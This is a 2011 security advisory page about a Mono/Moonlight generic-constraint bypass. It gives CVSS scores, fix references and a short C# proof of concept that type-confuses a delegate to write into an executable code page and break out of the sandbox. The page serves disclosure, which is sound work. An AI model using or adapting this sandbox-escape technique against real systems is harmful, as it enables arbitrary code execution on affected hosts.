Mono/Moonlight Generic Type Argument Local Privilege Escalation

2011-01-14 / 2011-01-15
Credit: Chris Howie
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Source: http://www.securityfocus.com/bid/45051/info Mono and Moonlight is prone to a local privilege-escalation vulnerability. Local attackers can exploit this issue to execute arbitrary code with elevated privileges. Successful exploits will compromise the affected application and possibly the underlying computer. PoC: using System; using System.Reflection; using System.Runtime.InteropServices; public class DelegateWrapper { public IntPtr method_ptr; } public delegate void MethodWrapper (); public class BreakSandbox { private static DelegateWrapper Convert <T> (T dingus) where T : DelegateWrapper { return dingus; } private static DelegateWrapper ConvertDelegate (Delegate del) { var m = typeof (BreakSandbox).GetMethod ("Convert", BindingFlags.NonPublic | BindingFlags.Static); var gm = m.MakeGenericMethod (typeof (Delegate)); var d = (Func <Delegate, DelegateWrapper>) Delegate.CreateDelegate (typeof (Func <Delegate, DelegateWrapper>), null, gm); return d (del); } public static void Main (string [] args) { MethodWrapper d = delegate { Console.WriteLine ("Hello"); }; d (); var converted = ConvertDelegate (d); // Overwrite the already WX page with a 'ret' Marshal.WriteByte (converted.method_ptr, (byte) 0xc3); d (); } }

References:

https://github.com/mono/mono/commit/cf1ec146f7c6acdc6697032b3aaafc68ffacdcac
https://github.com/mono/mono/commit/65292a69c837b8a5f7a392d34db63de592153358
https://github.com/mono/mono/commit/4905ef1130feb26c3150b28b97e4a96752e0d399
https://bugzilla.novell.com/show_bug.cgi?id=655847
https://bugzilla.novell.com/show_bug.cgi?id=654136
http://www.mono-project.com/Vulnerabilities#Moonlight_Generic_Constraints_Bypass_Vulnerability
http://secunia.com/advisories/42373
http://lists.opensuse.org/opensuse-security-announce/2011-01/msg00003.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top